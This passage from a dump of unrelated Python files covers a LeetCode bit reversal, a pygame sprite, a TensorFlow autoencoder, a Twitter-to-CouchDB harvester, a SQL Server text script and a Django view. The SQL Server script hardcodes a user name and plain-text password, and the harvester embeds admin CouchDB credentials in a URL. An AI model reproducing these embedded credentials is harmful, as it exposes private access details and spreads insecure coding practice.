l: l[0])\n last = user_threads[-1]\n for i in range(len(user_threads)-2, -1, -1):\n if last[0] == user_threads[i][0]:\n last[1] = last[1] + user_threads[i][1]\n del user_threads[i]\n else:\n last = user_threads[i]\n return (True, user_threads)\n except:\n return (False,str(traceback.format_exc()),'')\n","sub_path":"lc/webapp/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":5957,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"81457745","text":"#coding=utf-8\n\nimport unittest\n\n\"\"\"\n\n190. Reverse Bits\nDescriptionHintsSubmissionsDiscussSolution\nDiscuss Pick One\nReverse bits of a given 32 bits unsigned integer.\n\nFor example, given input 43261596 (represented in binary as 00000010100101000001111010011100), return 964176192 \n(represented in binary as 00111001011110000010100101000000).\n\nFollow up:\nIf this function is called many times, how would you optimize it?\n\nRelated problem: Reverse Integer\n\nCredits:\nSpecial thanks to @ts for adding this problem and creating all test cases.\n\n\nDifficulty:Easy\nTotal Accepted:113.6K\nTotal Submissions:385K\nContributor: LeetCode\nSubscribe to see which companies asked this question.\n\nRelated Topics \nBit Manipulation \nSimilar Questions \nNumber of 1 Bits \n\n\"\"\"\n\n\n\nclass Solution:\n # @param n, an integer\n # @return an integer\n def reverseBits(self, n):\n ans = 0\n for i in range(32):\n ans <<= 1\n ans |= n & 1\n n >>= 1\n return ans\n\n def reverseBits2(self, n): # from ref, actually no need to worry about -, it says unsigned integer\n \"\"\"\n s = bin(3), '0b11'\n s = bin(-3), '-0b11'\n a = \"3\".zfill(8), '00000003'\n a = \"0101\".zfill(8), '00000101'\n actually no need to worry about -, it says unsigned integer, following AC\n \n def reverseBits(self, n):\n string = bin(n)\n string = string[:2] + string[2:].zfill(32)[::-1]\n return int(string, 2)\n \n :param n: \n :return: \n \"\"\"\n string = bin(n)\n if '-' in string:\n string = string[:3] + string[3:].zfill(32)[::-1]\n else:\n string = string[:2] + string[2:].zfill(32)[::-1]\n return int(string, 2)\n\n def reverseBits_ref(self, n):\n oribin = '{0:032b}'.format(n)\n reversebin = oribin[::-1]\n return int(reversebin, 2)\n\n\nclass SolutionTester(unittest.TestCase):\n def setUp(self):\n self.sol = Solution()\n\n def test_case1(self):\n nums = 43261596\n answer = 964176192\n result = self.sol.reverseBits(nums)\n self.assertEqual(answer, result)\n\n\ndef main():\n suite = unittest.TestLoader().loadTestsFromTestCase(SolutionTester)\n unittest.TextTestRunner(verbosity=2).run(suite)\n\n\nif __name__ == \"__main__\":\n main()\n\n\n\n#-*- coding:utf-8 -*-\n\n\"\"\"\nPython代码(朴素解法):\nclass Solution:\n # @param n, an integer\n # @return an integer\n def reverseBits(self, n):\n ans = 0\n for i in range(32):\n ans <<= 1\n ans |= n & 1\n n >>= 1\n return ans\n\n优化方案:\n参考:https://oj.leetcode.com/discuss/27338/8ms-c-code-some-ideas-about-optimization-spoiler\n\n以4位为单位执行反转,将0x0至0xF的反转结果预存在一个长度为16的数组中,反转时直接查询即可。\n\nC代码:\nchar tb[16] = {0,8,4,12,2,10,6,14,1,9,5,13,3,11,7,15};\n\nuint32_t reverseBits(uint32_t n) {\n int curr = 0;\n uint32_t ret = 0;\n uint32_t msk = 0xF;\n for(int i = 0; i < 8; i++) {\n ret = ret << 4;\n curr = msk&n;\n ret |= tb[curr];\n n = n >> 4;\n }\n return ret;\n}\n\n\n\n\"\"\"","sub_path":"freq/reverse_bits.py","file_name":"reverse_bits.py","file_ext":"py","file_size_in_byte":3229,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"464027632","text":"import random\nfrom dino_runner.utils.constants import (\n SCREEN_WIDTH,\n CLOUD\n)\nfrom pygame.sprite import Sprite\n\n\nclass Cloud(Sprite):\n\n def __init__(self):\n self.x = SCREEN_WIDTH + random.randint(800, 1000)\n self.y = random.randint(50, 100)\n self.image = CLOUD\n self.width = self.image.get_width()\n\n def update(self, game_speed):\n self.x -= game_speed\n if self.x < -self.width:\n self.x = SCREEN_WIDTH + random.randint(2500, 3000)\n self.y = random.randint(50, 100)\n\n def draw(self, screen):\n screen.blit(self.image, (self.x, self.y))\n\n","sub_path":"dino_runner/components/cloud.py","file_name":"cloud.py","file_ext":"py","file_size_in_byte":622,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"515305337","text":"# -*- coding:utf-8\n#!/usr/bin/env python\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport tensorflow as tf\n\n#from BatchNormalization import BatchNormalization\n\nfrom IPython import embed\n\nclass Autoencoder:\n def __init__(self, ch_list=[3,32,32,16,8], k_h=5, k_w=5, stddev=0.01):\n self.ch_list = ch_list\n #define learnable parameter\n with tf.variable_scope(\"ae\"):\n #encoder\n self.w_enc1 = tf.Variable(tf.truncated_normal([28 * 28, self.ch_list[1]], stddev=stddev))\n self.b_enc1 = tf.Variable(tf.zeros([self.ch_list[1]]))\n self.w_enc2 = tf.Variable(tf.truncated_normal([self.ch_list[1], self.ch_list[2]], stddev=stddev))\n self.b_enc2 = tf.Variable(tf.zeros([self.ch_list[2]]))\n \n #decoder\n self.w_dec2 = tf.Variable(tf.truncated_normal([self.ch_list[2], self.ch_list[1]],stddev=stddev))\n self.b_dec2 = tf.Variable(tf.zeros([self.ch_list[1]]))\n self.w_dec1 = tf.Variable(tf.truncated_normal([self.ch_list[1], 28 * 28], stddev=stddev))\n self.b_dec1 = tf.Variable(tf.zeros([28 * 28]))\n\n def __call__(self, x, batch_size, train=True):\n \n #Full connection1(300)\n h_conv4 = tf.reshape(x, [-1, 1 * 28 * 28])\n inter_enc1 = tf.matmul(h_conv4, self.w_enc1) + self.b_enc1\n h_enc1 = tf.nn.tanh(inter_enc1)\n\n #Full connection2(20)\n inter_enc2 = tf.matmul(h_enc1, self.w_enc2) + self.b_enc2\n h_enc2 = tf.nn.tanh(inter_enc2)\n\n #Full connection3(300)\n inter_dec2 = tf.matmul(h_enc2, self.w_dec2) + self.b_dec2\n h_dec2 = tf.nn.tanh(inter_dec2)\n \n #Full connection4(784)\n inter_dec1 = tf.matmul(h_dec2, self.w_dec1) + self.b_dec1\n h_dec1 = tf.nn.tanh(inter_dec1)\n h_dec1 = tf.reshape(h_dec1, [-1, 28, 28, 1])\n \n return h_dec1\n \ndef conv2d(x, weight, batch_norm=None, train=True, activation=tf.nn.tanh):\n h_conv = tf.nn.conv2d(x, weight, strides=[1,2,2,1], padding=\"SAME\")\n if batch_norm != None:\n h_conv = batch_norm(h_conv, train=train)\n h_conv = activation(h_conv)\n return h_conv\n\ndef deconv2d(x, weight, output_shape, batch_norm=None, train=True, activation=tf.nn.tanh):\n h_deconv = tf.nn.conv2d_transpose(x, weight, output_shape=output_shape, strides=[1, 2, 2, 1], padding=\"SAME\")\n if batch_norm != None:\n h_deconv = batch_norm(h_deconv, train=train)\n h_deconv = activation(h_deconv)\n return h_deconv\n\n\n \n","sub_path":"vae_origin/autoencoder.py","file_name":"autoencoder.py","file_ext":"py","file_size_in_byte":2519,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"189295043","text":"#Q1:-\r\nfile=open(\"myfile.txt\",\"r\")\r\nprint(file)\r\nfor line in reversed(list(open(\"myfile.txt\"))):\r\n print(line.rstrip())\r\nprint(file.readlines())\r\nn=int(input(\"enter lines to be read:- \"))\r\nfile=open('myfile.txt')\r\nlines=file.readlines()\r\nprint(lines[0:n-1])\r\n\r\n\r\n#Q2:-\r\nimport re\r\nimport string\r\n\r\nfrequency = {}\r\ndocument_text = open('myfile.txt', 'r')\r\ntext_string = document_text.read().lower()\r\nmatch_pattern = re.findall(r'\\b[a-z]{3,15}\\b', text_string)\r\n\r\nfor word in match_pattern:\r\n count = frequency.get(word, 0)\r\n frequency[word] = count + 1\r\n\r\nfrequency_list = frequency.keys()\r\n\r\nfor words in frequency_list:\r\n print(words, frequency[words])\r\n\r\n\r\n#Q3:-\r\nwith open(\"file1.txt\",\"w\") as f:\r\n with open(\"file2.txt\", \"r\") as f1:\r\n for line in f1:\r\n f.write(line)\r\n\r\n\r\n#Q4:-\r\nwith open('abc.txt','r') as fh1, open('def.txt','r') as fh2:\r\n for line1,line2 in zip(fh1,fh2):\r\n line1=line1[:3]\r\n line2=line2[:3]\r\n file3 = open(\"ghi.txt\", \"a\")\r\n file3.write(line1+line2+\"\\n\")\r\n file3.close()\r\n file4 = open(\"ghi.txt\", \"r\")\r\n print(file4.readlines())\r\n file4.close()\r\n\r\n\r\n#Q5:-\r\nimport random\r\nl=[]\r\nwith open(\"randomno1.txt.py\",\"a+\",encoding=\"utf-8\") as gh1, open(\"randomno2.txt.py\",\"a+\",encoding=\"utf8\") as gh2:\r\n for i in range(0,9):\r\n l.append(random.randint(0,9))\r\n for i in l:\r\n gh1.writelines(str(i))\r\n l.sort()\r\n print(l)\r\n for k in l:\r\n gh2.write(str(l)+\"\\n\")\r\n print(gh2.read)\r\n","sub_path":"Assignment14.py","file_name":"Assignment14.py","file_ext":"py","file_size_in_byte":1511,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"322124355","text":"#!/usr/bin/env python3\n# Copyright 2019, Nihon Unisys, Ltd.\n#\n# This source code is licensed under the BSD license.\n\nimport argparse\nimport json\nimport util\nimport re\nfrom pathlib import Path\n\nstart_pattern = re.compile(r'^\\s+\\s*')\nend_pattern = re.compile(r'^.*
    .*')\nhtmltag_pattern = re.compile(r'||<[^>]+?>')\nexcept_nextline_pattern = re.compile(r'^[^\\n]*')\n\ndef replace_html_tag(html_data):\n is_content = False\n is_comment = False\n in_table_tag = False\n content = []\n for line in html_data.split('\\n'):\n if not is_content and start_pattern.match(line):\n is_content = True\n if is_content and end_pattern.match(line):\n break\n if is_content and not is_comment and line.startswith('' in line:\n is_comment = True\n\n if not is_content or is_comment:\n iterator = except_nextline_pattern.finditer(line)\n line = list(line)\n for match in iterator:\n line[match.start():match.end()] = [' ']*(match.end()-match.start())\n content.append(''.join(line)+'\\n')\n else:\n iterator = htmltag_pattern.finditer(line)\n line = list(line)\n for match in iterator:\n if match.group().startswith('' in line:\n is_comment = False\n\n return ''.join(content)\n\ndef process(dataset, filedir, multiple_answer=False, addtitle=True):\n\n data_size = len(dataset['entry'])\n squad_data = []\n\n for i, entry in enumerate(dataset['entry']):\n\n ENE = entry['ENE']\n title = entry['title']\n page_id = entry['page_id']\n attributes = entry['Attributes_html']\n\n print('-'*5, str(i) + '/' + str(data_size), str(page_id), title, '-'*5)\n\n with filedir.joinpath(str(page_id)+'.html').open() as f:\n html_content = f.read()\n\n content = replace_html_tag(html_content)\n\n if not multiple_answer:\n content = 'φ'+content[1:]\n\n q_idx = 0\n qas = []\n\n for k,v in attributes.items():\n if addtitle:\n q = title + 'の' + k + 'は?'\n else:\n q = k\n q_idx += 1\n q_id = str(page_id) + '_' + str(q_idx)\n answers = []\n found_answers = set()\n for ans in v:\n answers.append({\"answer_start\": ans['start'], \"answer_end\": ans['end'], \"text\": ans['text']})\n\n if not multiple_answer and len(answers) == 0:\n answers.append({\"answer_start\": 0, \"text\": 'φ'})\n qas.append({\"answers\": answers, \"question\": q, \"id\": q_id})\n\n squad_json = {\"title\": title, 'WikipediaID': page_id, \"ENE\":ENE, \"paragraphs\": [{\"context\": content, \"qas\": qas}]}\n squad_data.append(squad_json)\n return squad_data\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.register('type', 'bool', util.str2bool)\n parser.add_argument('input', type=str)\n parser.add_argument('output', type=str)\n parser.add_argument('--category', type=str, default='',\n help='category name')\n parser.add_argument('--html_dir', type=str, default='./data/JP-5/HTML/',\n help='HTML data directory path')\n parser.add_argument('--multiple-answer', action='store_true',\n help='convert for multiple answers model')\n parser.add_argument('--addtitle', type='bool', default=True,\n help='add title to question string')\n parser.add_argument('--split_dev', type=float, default=0.85,\n help='start point of dev data')\n parser.add_argument('--split_test', type=float, default=0.90,\n help='start point of test data')\n\n args = parser.parse_args()\n\n if not args.category:\n p = Path(inputfile)\n args.category = p.stem.replace('_dist_2018','')\n\n squad_data_all = []\n squad_json_train = []\n squad_json_dev = []\n squad_json_test = []\n for inputfile in args.input.split(','):\n with open(inputfile) as f:\n shinra_dataset = json.load(f)\n filedir=Path(args.html_dir).joinpath(args.category)\n squad_data = process(shinra_dataset, filedir, multiple_answer=args.multiple_answer, addtitle=args.addtitle)\n\n squad_data_all.extend(squad_data)\n split_dataset = util.make_split_data(squad_data, split_nums=[args.split_dev, args.split_test])\n squad_json_train.extend(split_dataset[0])\n squad_json_dev.extend(split_dataset[1])\n squad_json_test.extend(split_dataset[2])\n\n with open(args.output, 'w') as f:\n f.write(json.dumps({\"data\": squad_data_all}, sort_keys=True, ensure_ascii=False)) #for formal run\n\n with open(args.output.replace('.json', '-train.json'), 'w') as f:\n f.write(json.dumps({\"data\": squad_json_train}, sort_keys=True, ensure_ascii=False))\n\n with open(args.output.replace('.json', '-dev.json'), 'w') as f:\n f.write(json.dumps({\"data\": squad_json_dev}, sort_keys=True, ensure_ascii=False))\n\n with open(args.output.replace('.json', '-test.json'), 'w') as f:\n f.write(json.dumps({\"data\": squad_json_test}, sort_keys=True, ensure_ascii=False))\n\nmain()\n","sub_path":"scripts/shinra/shinra_to_squad.py","file_name":"shinra_to_squad.py","file_ext":"py","file_size_in_byte":5959,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"614250432","text":"\"\"\"\nCOMP90024 2021 S1 Assignment 2\nTeam: 41\nCity: Melbourne\nGroup Member:\nHuimin Huang 1142020\nHan Sun 1111271\nJean Ma 1028582\nShirui Cheng 1189721\nXiaoyue Lyu 1237539\n\"\"\"\nfrom tweepy import OAuthHandler, Stream, StreamListener\nimport twitterCredential, time, json, couchdb\nfrom urllib3.exceptions import ProtocolError\nfrom http.client import IncompleteRead as http_incompleteRead\nfrom urllib3.exceptions import IncompleteRead as urllib3_incompleteRead\n\nmonth_list = [\"\",\"Jan\",\"Feb\",\"Mar\",\"Apr\",\"May\",\"Jun\",\"Jul\",\"Aug\",\"Sep\",\"Oct\",\"Nov\",\"Dec\"]\ncity_list = [\"Melbourne\", \"Brisbane\", \"Sydney\", \"Adelaide\", \"Canberra\", \"Perth (WA)\", \"Hobart\", \"Queensland\"]\n\ndef read_score():\n with open(\"AFINN.txt\") as f:\n lines = f.readlines()\n afinn = {}\n for line in lines:\n line = line.strip().lower()\n line_len = len(line)\n try:\n score = int(line[line_len - 2: line_len].lstrip())\n word = line[0:line_len - 2].rstrip()\n afinn[word] = score*abs(score)\n except ValueError:\n print(\"invalid score\")\n f.close()\n return afinn\n\nafinn = read_score()\n\ndef processData(data):\n data = json.loads(data)\n data_dict = {\"id\": data[\"id\"]}\n\n date = data[\"created_at\"].split()\n m = month_list.index(date[1])\n month = \"0\" + str(m) if m < 10 else str(m)\n d = int(date[2])\n day = \"0\" + str(d) if d < 10 else str(d)\n year = date[-1]\n timestamp = year + \"/\" + month + \"/\" + day\n data_dict[\"created_at\"] = timestamp\n\n if data[\"place\"] is not None:\n try:\n city = data[\"place\"][\"name\"]\n if city in city_list:\n data_dict[\"metropolitan\"] = True\n else:\n data_dict[\"metropolitan\"] = False\n data_dict[\"city\"] = city\n except KeyError:\n data_dict[\"city\"] = None\n try:\n coordinates = data[\"place\"][\"bounding_box\"][\"coordinates\"][0]\n data_dict[\"coordinates\"] = [(coordinates[0][0] + coordinates[1][0]) / 2.0,\n (coordinates[0][1] + coordinates[2][1]) / 2.0]\n except KeyError:\n data_dict[\"coordinates\"] = None\n\n \"\"\"clean data to calculate sentiment score\"\"\"\n rawText = data[\"text\"]\n data_dict[\"text\"] = rawText\n # data_dict[\"text\"] = re.sub(\"(@[A-Za-z0-9]+)|([^0-9A-Za-z \\t])|(\\w+:\\/\\/\\S+)\", \"\", rawText)\n # print(data_dict[\"text\"])\n twitter_text = data_dict[\"text\"].lower()\n replaced_twitter_text = twitter_text.replace('!', ' ').replace(',', ' ') \\\n .replace('?', ' ').replace('.', ' ').replace('\\\\\\'', ' ').replace('\\\\\\\"', ' ') \\\n .replace('\\'', ' ').replace('\\\"', ' ').replace('\\\\n', ' ')\n\n split_words = replaced_twitter_text.split()\n totalScore = 0\n for word in split_words:\n score = afinn.get(word, 0)\n totalScore += score\n data_dict[\"sentiment_score\"] = totalScore\n\n vaccine_list = [[\"astrazeneca\", \"oxford\"], [\"biontech\", \"fosun\", \"pfizer\"], [\"moderna\"], [\"johnson\"],\n [\"chinese\", \"sinovac\"], [\"sputnik\"]]\n brand = \"\"\n for type in vaccine_list:\n for vac in type:\n if vac in twitter_text:\n brand = vac\n break\n if brand != \"\":\n break\n\n data_dict[\"vaccine_brand\"] = brand\n return data_dict\n\nclass StdOutListener(StreamListener):\n \"\"\" A listener handles tweets that are received from the stream.\n This is a basic listener that just prints received tweets to stdout.\n \"\"\"\n\n def on_data(self, data):\n try:\n processedData = processData(data)\n if processedData[\"vaccine_brand\"] != \"\":\n print(\"get one tweet\")\n couch = couchdb.Server(\"http://admin:couchdb@localhost:5984\")\n db = couch['brand']\n if str(processedData[\"id\"]) not in db:\n \tdb[str(processedData[\"id\"])] = processedData\n\n except http_incompleteRead as e:\n print(\"http incompleteRead error: %s\" % str(e))\n print(\"Restart in 10 seconds\")\n time.sleep(10)\n return True\n except urllib3_incompleteRead as e:\n print(\"urllib3 IncompleteRead error: %s\" % str(e))\n print(\"Restart in 10 seconds\")\n time.sleep(10)\n return True\n except BaseException as e:\n print(\"Error: %s\" % str(e))\n print(\"Restart in 10 seconds\")\n time.sleep(10)\n return True\n return True\n\n def on_error(self, status):\n if status == 420:\n # return false in on_data disconnects the stream\n return False\n print(status)\n\n\n\nif __name__ == '__main__':\n listener = StdOutListener()\n auth = OAuthHandler(twitterCredential.consumer_key, twitterCredential.consumer_secret)\n auth.set_access_token(twitterCredential.access_token, twitterCredential.access_token_secret)\n\n stream = Stream(auth, listener)\n\n # filter stream data by the keywords:\n while True:\n try:\n #stream api filter not allow to filter by location and keyword at the same time\n stream.filter(locations=[113.338953078, -43.6345972634, 153.569469029, -10.6681857235])\n except (ProtocolError, AttributeError):\n continue\n\n","sub_path":"Harvester/StreamCrawler_b.py","file_name":"StreamCrawler_b.py","file_ext":"py","file_size_in_byte":5341,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"528553858","text":"import logging\nimport os\nimport socket\nimport struct\n\nimport cv2\n\n_ip = 'localhost'\n_port = 7007\n\n_image_paths = [\n 'data/android.jpg',\n 'data/android_flip.jpg',\n]\n\n_logger = logging.getLogger(__name__)\n\n\nclass ImageServer:\n\n def __init__(self):\n with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server_socket:\n _logger.debug('Server socket created')\n\n server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n server_socket.bind((_ip, _port))\n server_socket.listen(1)\n\n image_index = 0\n\n while True:\n _logger.debug('Server socket waiting for incoming connections')\n\n client_socket, from_address = server_socket.accept()\n with client_socket:\n _logger.debug('Connection established with {}'.format(from_address))\n\n image_path = os.path.join(os.getcwd(), _image_paths[image_index])\n img = cv2.imread(image_path, cv2.IMREAD_COLOR)\n\n # img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n # img = cv2.resize(img, dsize=(10, 10))\n _ret, img = cv2.imencode('.jpg', img)\n\n img_bytes = img.tobytes()\n data = struct.pack('>I', len(img_bytes)) + img_bytes\n\n try:\n client_socket.sendall(data)\n _logger.debug('Sent {} bytes to {}'.format(len(data), from_address))\n except ConnectionResetError as conn_reset_err:\n _logger.exception(conn_reset_err)\n\n _logger.debug('Closing connection with {}'.format(from_address))\n\n image_index = (image_index + 1) % len(_image_paths)\n\n # _logger.debug('Closing server socket')\n\n # print('Bye!')\n\n\ndef main():\n ImageServer()\n\n\nif __name__ == '__main__':\n logging.basicConfig(level=logging.DEBUG)\n main()\n","sub_path":"test/image_server.py","file_name":"image_server.py","file_ext":"py","file_size_in_byte":1987,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"198632932","text":"import GeneralLib as GL\nimport os\nfrom pip._vendor.distlib.compat import raw_input\n\nclass Evaluate:\n \n def __init__(self, qresultsPath):\n #Folder where results are stored\n self._qrPath = qresultsPath\n #Json file where relevance info is stored \n self._relInfo = GL.jsonToDict(raw_input(\"Enter json file where relevance info is stored:\"))\n #Precision table\n self._precTable = dict()\n #Recall Table\n self._recallTable = dict()\n #Table having average precisions for each query \n self._avgPrecisions = list()\n #Table having the reciprocal rank if first relevant document retrieved.\n self._fRecRank = list()\n self._MAP = 0\n self._MRR = 0\n self._Pat5 = 0\n self._Pat20 = 0\n \n #Evaluate results of a query \n def performEval(self):\n resultsFile = GL.getDataFiles(self._qrPath)\n evalFilesPath = raw_input(\"Enter folder where all evaluation results will be stored:\")\n if not os.path.exists(evalFilesPath):\n os.mkdir(evalFilesPath)\n \n #For each query, get the results\n for file in resultsFile:\n qID = GL.getQID(file)\n\n #If query not in relvance info, discard the query\n if not qID in self._relInfo.keys():\n continue\n filename = GL.getFilename(self._qrPath, file)\n results = GL.getResults(filename)\n folderName = evalFilesPath + \"Eval_Query\" + str(qID) +\"/\"\n \n \n #Calculate precision and store precision table \n self._precTable = self.calcPrecision(results, qID)\n data = \"\"\n if (len(self._precTable.keys()) > 1):\n if not os.path.exists(folderName):\n os.mkdir(folderName)\n for entry in self._precTable.keys():\n data += entry + \"\\t\" + str(self._precTable[entry]) + \"\\n\" \n with open(GL.getFilename(folderName, \"PrecisonTable.txt\"), 'w') as f:\n f.write(data)\n \n #Calculate P@5 and P@20 \n self._Pat5 = self.calcPatK(5)\n self._Pat20 = self.calcPatK(20)\n data = \"\\nPrecision @ 5 :\" + str(self._Pat5)\n data += \"\\nPrecision @ 20 :\" + str(self._Pat20)\n with open(GL.getFilename(folderName, \"Precision@K.txt\"), 'w') as f:\n f.write(data)\n \n #Calulate average precisions\n self._avgPrecisions.append(self.calcAvgPrecision(qID, results))\n \n #Calculate precision and store precision table \n self._recallTable = self.calcRecall(results, qID)\n data = \"\"\n if (len(self._recallTable.keys()) > 1):\n if not os.path.exists(folderName):\n os.mkdir(folderName)\n for entry in self._recallTable.keys():\n data += entry + \"\\t\" + str(self._recallTable[entry]) + \"\\n\" \n with open(GL.getFilename(folderName, \"RecallTable.txt\"), 'w') as f:\n f.write(data)\n \n print(\"Done with evaluating Query\" + str(qID) + \".\")\n \n self._MAP = self.calcMAP()\n print(self._MAP)\n self._MRR = self.calcMRR()\n data = \"Mean Average Precision : \" + str(self._MAP)\n data += \"\\nMean Reciprocal Rank : \" + str(self._MRR)\n \n with open(GL.getFilename(evalFilesPath, \"MAP_MRR.txt\"), 'w') as f:\n f.write(data)\n print(\"Done with evaluation.\") \n \n #Function to calculate precision\n def calcPrecision(self, results, qID):\n pTable = dict()\n N = 0\n D = 0\n \n for rank in results.keys():\n if (results[rank] in self._relInfo[qID]):\n N+=1\n if(N==1):\n self._fRecRank.append(1 / rank)\n D+=1\n pTable.update({results[rank] : (N / D)})\n return pTable\n \n #Function to calculate recall\n def calcRecall(self, results, qID):\n rTable = dict()\n N = 0\n D = len(self._relInfo[qID])\n \n for rank in results.keys():\n if (results[rank] in self._relInfo[qID]):\n N+=1\n rTable.update({results[rank] : (N / D)})\n return rTable\n\n \n #Function to calculate Average precision\n def calcAvgPrecision(self, qID, results):\n totalPrecision = 0\n for entry in self._relInfo[qID]:\n if entry in results.values():\n totalPrecision += self._precTable[entry]\n \n return (totalPrecision / len(self._relInfo[qID]))\n \n \n #Function to calculate MAP\n def calcMAP(self):\n totalPrecision = 0\n for prec in self._avgPrecisions:\n totalPrecision += prec\n\n return (totalPrecision / len(self._avgPrecisions))\n \n \n #Function to calculate MRR\n def calcMRR(self):\n totalRecRank = 0\n for rrank in self._fRecRank:\n totalRecRank += rrank\n \n return (totalRecRank / len(self._fRecRank))\n \n \n #Function to calculate precision at K\n def calcPatK(self, K):\n rank = 1\n for doc in self._precTable.keys():\n if rank==K:\n return self._precTable[doc]\n rank+=1\n \n return 0\n \nif __name__ == \"__main__\" :\n \n resultsFolder = raw_input(\"Enter folder where search results are stored:\")\n evaluate = Evaluate(resultsFolder)\n evaluate.performEval()","sub_path":"Phase2/src/Evaluation.py","file_name":"Evaluation.py","file_ext":"py","file_size_in_byte":5654,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"430587583","text":"import pymorphy2\nimport numpy as np\nimport pymssql\nimport re\nimport scipy\nfrom sklearn.feature_extraction.text import HashingVectorizer\nfrom sklearn.model_selection import train_test_split\n\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.metrics import accuracy_score, roc_auc_score\nfrom sklearn.decomposition import PCA\n\ndata = []\n\ndef f_tokenizer(s):\n morph = pymorphy2.MorphAnalyzer()\n if type(s) == unicode:\n t = s.split(' ')\n else:\n t = s\n for j in t:\n m = morph.parse(j.replace('.',''))\n if not len(m) == 0:\n wrd = m[0]\n if wrd.tag.POS not in ('NUMR','PREP','CONJ','PRCL','INTJ'):\n data.append(wrd.normal_form)\n return data\n\nconn = pymssql.connect(server='RIY-PC\\SQLRIY', user='EPLANASU\\RIY', password='Butcherryb76593', database='Price_python')\n\ncursor = conn.cursor(as_dict=True)\n\ncursor.execute(\"SELECT TOP 500 name FROM dbo.Price_list\")\n\nfor row in cursor:\n row = str(row['name']).lower()\n row = re.sub(r'устр(-во|\\.)','устройство', row)\n row = re.sub(r'авт(омат\\.|ом\\.|\\.)','автоматического', row)\n row = re.sub(r'рег(ул\\.|улир\\.|\\-я)','регулирования', row)\n row = row.replace('ас.','асинхронный ')\n row = row.replace('пост.тока','постоянного тока')\n row = row.replace('перем.тока','переменного тока')\n row = row.replace('прям.вкл.','прямого включения')\n row = row.replace('модул.','модульный')\n row = row.replace('тороид.','торроидный ')\n row = row.lstrip()\n row = row.rstrip()\n print(row)\n coder = HashingVectorizer(tokenizer=f_tokenizer, encoding='KOI8-R', n_features=256)\nconn.commit()\n\nprint(data)","sub_path":"machine.py","file_name":"machine.py","file_ext":"py","file_size_in_byte":1828,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"104520088","text":"from django.shortcuts import render\nfrom pymongo import MongoClient\nfrom django.http import HttpResponse, HttpResponseNotFound\nfrom django.http.request import QueryDict\nimport json\nimport os\nimport pandas as pd\nfrom django.conf import settings\nimport pdb\n\ndef choice_without_id(request):\n\n request.GET = request.GET.copy()\n request.GET.update({'user_id': 1234, 'name': 'Max', 'intervention': 1})\n return choice(request, alert=\"\"\"alert(\\\"You shouldn\\'t be here.\\\")\"\"\")\n\ndef choice(request, alert=\"\"):\n # return render(request, 'saving_app/voya-choices.html', {'user_id': user_id})\n try:\n user_id = request.GET.get(\"user_id\")\n name = request.GET.get(\"name\")\n intervention = int(request.GET.get(\"intervention\"))\n except:\n return HttpResponseNotFound(\"

    Please specify correct paramters. These are user_id, name and intervention.

    \")\n if (intervention == 1):\n chooseText = (\"I want to enroll with other choices.\", \"Note: This enrollment will cancel your scheduled automatic enrollment.\")\n defaultText = (\"Let my scheduled automatic enrollment go through.\", \"\")\n optoutText = (\"I do not wish to enroll.\", \"\")\n elif (intervention == 2):\n chooseText = (\"Do it Myself\", \"I want to enroll with other choices\")\n defaultText = (\"Do it for Me\", \"Let my scheduled auto-enrollment go through\")\n optoutText = (\"I Don't Want to Save\", \"I want to cancel my auto-enrollment\")\n elif (intervention >= 3 and intervention <= 17):\n chooseText = (\"I want to enroll at a different rate.\", \"I want to personalize my enrollment by selecting a different savings rate.\")\n defaultText = (\"I want to confirm my automatic enrollment.\", \"I want my auto-enrollment to go through at the savings rate chosen by my employer.\")\n optoutText = (\"I do not want to enroll.\", \"I want to cancel my auto-enrollment and not save at this time.\")\n else:\n return HttpResponseNotFound(\"

    Currently only support intervention from 1 to 17.

    \")\n\n # Extra text\n if (intervention >= 14):\n extraText = \"\"\n else:\n extraText = \"hidden\"\n\n # Orientation\n if (intervention in [9, 10]):\n grid = \"col-sm-4 col-sm-offset-4 top-buffer\"\n zeroMargin = \"margin-top:0; margin-bottom: 4px; min-height: 0; padding-top: 0; padding-bottom: 0;\"\n realZeroMargin = \"margin-top:0; margin-bottom: 0; min-height: 0; padding-top: 0; padding-bottom: 0;\"\n zeroMinheight = \"min-height: 0;\"\n else:\n grid = \"col-sm-4\"\n zeroMargin = \"\"\n realZeroMargin = \"\"\n zeroMinheight = \"\"\n\n chooseAttr = \"id=others\"\n defaultAttr = \"\"\"id=\"auto\" onclick=\"$('#myModal2').modal({backdrop:'static'}, 'toggle');\" \"\"\"\n optoutAttr = \"\"\"id=\"no\" onclick=\"$('#myModal').modal({backdrop:'static'}, 'toggle');\" \"\"\"\n optionsAttr = [None]*3\n optionsText = [None]*3\n # Option position and text\n if (intervention in [1,2,3,10,11,12,13,14,15,16,17]):\n optionsAttr = [chooseAttr, defaultAttr, optoutAttr]\n optionsText = [chooseText, defaultText, optoutText]\n elif (intervention in [4, 9]):\n optionsAttr = [defaultAttr, chooseAttr, optoutAttr]\n optionsText = [defaultText, chooseText, optoutText]\n elif (intervention in [5]):\n optionsAttr = [defaultAttr, optoutAttr, chooseAttr]\n optionsText = [defaultText, optoutText, chooseText]\n elif (intervention in [6]):\n optionsAttr = [chooseAttr, optoutAttr, defaultAttr]\n optionsText = [chooseText, optoutText, defaultText]\n elif (intervention in [7]):\n optionsAttr = [optoutAttr, chooseAttr, 